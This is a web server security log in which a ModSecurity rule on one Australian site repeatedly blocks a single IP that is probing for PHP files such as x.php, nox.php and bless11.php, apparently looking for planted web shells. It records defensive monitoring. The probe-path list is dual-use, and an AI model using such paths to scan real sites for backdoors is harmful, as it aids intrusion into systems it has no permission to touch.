[Sat Feb 28 20:51:12.854864 2026] [:error] [pid 39183:tid 39206] [client 20.104.124.39:50092] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aaLkwBCf4HvhVePw3LYpnwAAAA4"]
[Sat Feb 28 20:51:15.173685 2026] [:error] [pid 49763:tid 49768] [client 20.104.124.39:50140] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aaLkw7THSOG_yf2PpqFF4QAAAcI"]
[Sat Feb 28 20:51:17.470251 2026] [:error] [pid 39183:tid 39203] [client 20.104.124.39:50168] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aaLkxRCf4HvhVePw3LYprAAAAAs"]
[Sat Feb 28 20:51:18.604959 2026] [:error] [pid 49763:tid 49787] [client 20.104.124.39:50276] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aaLkxrTHSOG_yf2PpqFGAAAAAdU"]
[Sat Feb 28 20:51:20.186821 2026] [:error] [pid 22194:tid 22212] [client 20.104.124.39:50271] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aaLkyH6mbajs3bzQGyugWgAAAVA"]
[Sat Feb 28 20:51:21.150616 2026] [:error] [pid 39183:tid 39205] [client 20.104.124.39:50186] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aaLkyRCf4HvhVePw3LYpwQAAAA0"]
[Sat Feb 28 20:51:22.063631 2026] [:error] [pid 49763:tid 49777] [client 20.104.124.39:50227] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aaLkyrTHSOG_yf2PpqFGEwAAAcs"]
[Sat Feb 28 20:51:23.355475 2026] [:error] [pid 52460:tid 52480] [client 20.104.124.39:50049] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aaLky7LWOogAgHGh62R0cAAAAZE"]
[Sat Feb 28 20:51:24.850095 2026] [:error] [pid 39292:tid 39309] [client 20.104.124.39:50282] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aaLkzKIAO5fN7BxyqcFy9wAAAM8"]
[Sat Feb 28 20:51:26.910272 2026] [:error] [pid 39183:tid 39200] [client 20.104.124.39:50298] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aaLkzhCf4HvhVePw3LYp4gAAAAg"]
[Sat Feb 28 20:51:28.655755 2026] [:error] [pid 49763:tid 49780] [client 20.104.124.39:50142] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aaLk0LTHSOG_yf2PpqFGLwAAAc4"]
[Sat Feb 28 20:51:31.317931 2026] [:error] [pid 52460:tid 52472] [client 20.104.124.39:50112] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aaLk07LWOogAgHGh62R0fwAAAYk"]
[Sat Feb 28 20:51:32.423271 2026] [:error] [pid 39183:tid 39202] [client 20.104.124.39:50192] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aaLk1BCf4HvhVePw3LYqIQAAAAo"]
[Sat Feb 28 20:51:33.645705 2026] [:error] [pid 49763:tid 49766] [client 20.104.124.39:50301] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aaLk1bTHSOG_yf2PpqFGPQAAAcA"]
[Sat Feb 28 20:51:35.074005 2026] [:error] [pid 39183:tid 39198] [client 20.104.124.39:50272] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aaLk1xCf4HvhVePw3LYqNwAAAAY"]
[Sat Feb 28 20:51:36.402079 2026] [:error] [pid 39183:tid 39215] [client 20.104.124.39:50237] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aaLk2BCf4HvhVePw3LYqOgAAABc"]
[Sat Feb 28 20:51:37.485447 2026] [:error] [pid 52460:tid 52468] [client 20.104.124.39:50290] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaLk2bLWOogAgHGh62R0iwAAAYU"]
[Sat Feb 28 20:51:39.090749 2026] [:error] [pid 22194:tid 22220] [client 20.104.124.39:50248] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaLk236mbajs3bzQGyugmgAAAVg"]
[Sat Feb 28 20:51:39.893891 2026] [:error] [pid 39183:tid 39192] [client 20.104.124.39:50263] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaLk2xCf4HvhVePw3LYqPwAAAAA"]
[Sat Feb 28 20:51:40.799901 2026] [:error] [pid 39292:tid 39314] [client 20.104.124.39:50116] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaLk3KIAO5fN7BxyqcFzAwAAANQ"]
[Sat Feb 28 20:51:41.692975 2026] [:error] [pid 22194:tid 22219] [client 20.104.124.39:50136] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaLk3X6mbajs3bzQGyugowAAAVc"]
[Sat Feb 28 20:51:42.603785 2026] [:error] [pid 39185:tid 39248] [client 20.104.124.39:50060] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaLk3hVE-FfM89u7BQadHwAAAII"]
[Sat Feb 28 20:51:52.276361 2026] [:error] [pid 39185:tid 39256] [client 20.104.124.39:50169] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aaLk6BVE-FfM89u7BQadPAAAAIo"]
[Sat Feb 28 20:51:53.113931 2026] [:error] [pid 49763:tid 49772] [client 20.104.124.39:50085] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aaLk6bTHSOG_yf2PpqFGYgAAAcY"]
[Sat Feb 28 20:51:54.271663 2026] [:error] [pid 22194:tid 22214] [client 20.104.124.39:50259] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aaLk6n6mbajs3bzQGyugwAAAAVI"]
[Sat Feb 28 20:51:55.598725 2026] [:error] [pid 39183:tid 39202] [client 20.104.124.39:50287] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aaLk6xCf4HvhVePw3LYqYgAAAAo"]
[Sat Feb 28 20:51:56.573256 2026] [:error] [pid 39183:tid 39206] [client 20.104.124.39:50284] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aaLk7BCf4HvhVePw3LYqbQAAAA4"]
[Sat Feb 28 20:51:57.291040 2026] [:error] [pid 39183:tid 39207] [client 20.104.124.39:50108] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aaLk7RCf4HvhVePw3LYqcwAAAA8"]
[Sat Feb 28 20:51:58.303045 2026] [:error] [pid 39183:tid 39196] [client 20.104.124.39:50196] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aaLk7hCf4HvhVePw3LYqfQAAAAQ"]
[Sat Feb 28 20:51:59.139300 2026] [:error] [pid 39183:tid 39207] [client 20.104.124.39:50180] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aaLk7xCf4HvhVePw3LYqgwAAAA8"]
[Sat Feb 28 20:52:00.361458 2026] [:error] [pid 39184:tid 39238] [client 20.104.124.39:50178] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaLk8FtZF9Zd_U7easC1fwAAAFM"]
[Sat Feb 28 20:52:01.745270 2026] [:error] [pid 39184:tid 39222] [client 20.104.124.39:50286] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaLk8VtZF9Zd_U7easC1hgAAAEM"]
[Sat Feb 28 20:52:03.032999 2026] [:error] [pid 49763:tid 49774] [client 20.104.124.39:50184] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaLk87THSOG_yf2PpqFGegAAAcg"]
[Sat Feb 28 20:52:04.158882 2026] [:error] [pid 39184:tid 39234] [client 20.104.124.39:50303] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaLk9FtZF9Zd_U7easC1kgAAAE8"]
[Sat Feb 28 20:52:06.078582 2026] [:error] [pid 39184:tid 39220] [client 20.104.124.39:50271] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aaLk9ltZF9Zd_U7easC1lgAAAEE"]
[Sat Feb 28 20:52:07.798915 2026] [:error] [pid 39183:tid 39203] [client 20.104.124.39:50256] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aaLk9xCf4HvhVePw3LYqngAAAAs"]
[Sat Feb 28 20:52:11.441630 2026] [:error] [pid 39184:tid 39231] [client 20.104.124.39:50269] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aaLk-1tZF9Zd_U7easC1mgAAAEw"]
[Sat Feb 28 20:52:13.918476 2026] [:error] [pid 39185:tid 39258] [client 20.104.124.39:50222] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aaLk_RVE-FfM89u7BQadQAAAAIw"]
[Sat Feb 28 20:52:14.769970 2026] [:error] [pid 39183:tid 39194] [client 20.104.124.39:50105] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aaLk_hCf4HvhVePw3LYqvAAAAAI"]
[Sat Feb 28 20:52:15.554431 2026] [:error] [pid 52460:tid 52484] [client 20.104.124.39:50236] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aaLk_7LWOogAgHGh62R05wAAAZU"]
[Sat Feb 28 20:52:16.168317 2026] [:error] [pid 52460:tid 52472] [client 20.104.124.39:50209] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aaLlALLWOogAgHGh62R06gAAAYk"]
[Sat Feb 28 20:52:17.129857 2026] [:error] [pid 49763:tid 49779] [client 20.104.124.39:50277] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aaLlAbTHSOG_yf2PpqFGsQAAAc0"]
[Sat Feb 28 20:52:17.767818 2026] [:error] [pid 49763:tid 49781] [client 20.104.124.39:50079] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aaLlAbTHSOG_yf2PpqFGtAAAAc8"]
[Sat Feb 28 20:52:19.060617 2026] [:error] [pid 49763:tid 49777] [client 20.104.124.39:50156] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aaLlA7THSOG_yf2PpqFGvwAAAcs"]
[Sat Feb 28 20:52:20.622638 2026] [:error] [pid 39292:tid 39310] [client 20.104.124.39:50240] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aaLlBKIAO5fN7BxyqcFzLgAAANA"]
[Sat Feb 28 20:52:21.491600 2026] [:error] [pid 39184:tid 39225] [client 20.104.124.39:50242] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aaLlBVtZF9Zd_U7easC1pAAAAEY"]
[Sat Feb 28 20:52:22.688276 2026] [:error] [pid 11791:tid 11804] [client 20.104.124.39:50194] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aaLlBmuX5e1Q32gqxH2_lwAAAQs"]
[Sat Feb 28 20:52:24.004233 2026] [:error] [pid 49763:tid 49772] [client 20.104.124.39:50199] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aaLlCLTHSOG_yf2PpqFG1QAAAcY"]
[Sat Feb 28 20:52:25.450932 2026] [:error] [pid 39184:tid 39224] [client 20.104.124.39:50117] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aaLlCVtZF9Zd_U7easC1qwAAAEU"]
[Sat Feb 28 20:52:26.600144 2026] [:error] [pid 22194:tid 22216] [client 20.104.124.39:50208] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aaLlCn6mbajs3bzQGyug3QAAAVQ"]
[Sat Feb 28 20:52:27.882025 2026] [:error] [pid 49763:tid 49785] [client 20.104.124.39:50275] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aaLlC7THSOG_yf2PpqFG6AAAAdM"]
[Sat Feb 28 20:52:29.015138 2026] [:error] [pid 39185:tid 39255] [client 20.104.124.39:50245] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aaLlDRVE-FfM89u7BQadQwAAAIk"]
[Sat Feb 28 20:52:30.270713 2026] [:error] [pid 39185:tid 39261] [client 20.104.124.39:50191] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aaLlDhVE-FfM89u7BQadRAAAAI8"]
[Sat Feb 28 20:52:32.374481 2026] [:error] [pid 39292:tid 39301] [client 20.104.124.39:50190] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aaLlEKIAO5fN7BxyqcFzMgAAAMc"]
[Sat Feb 28 20:52:33.986976 2026] [:error] [pid 39183:tid 39202] [client 20.104.124.39:50161] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaLlERCf4HvhVePw3LYq4gAAAAo"]
[Sat Feb 28 20:52:35.123658 2026] [:error] [pid 39183:tid 39192] [client 20.104.124.39:50243] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaLlExCf4HvhVePw3LYq7AAAAAA"]
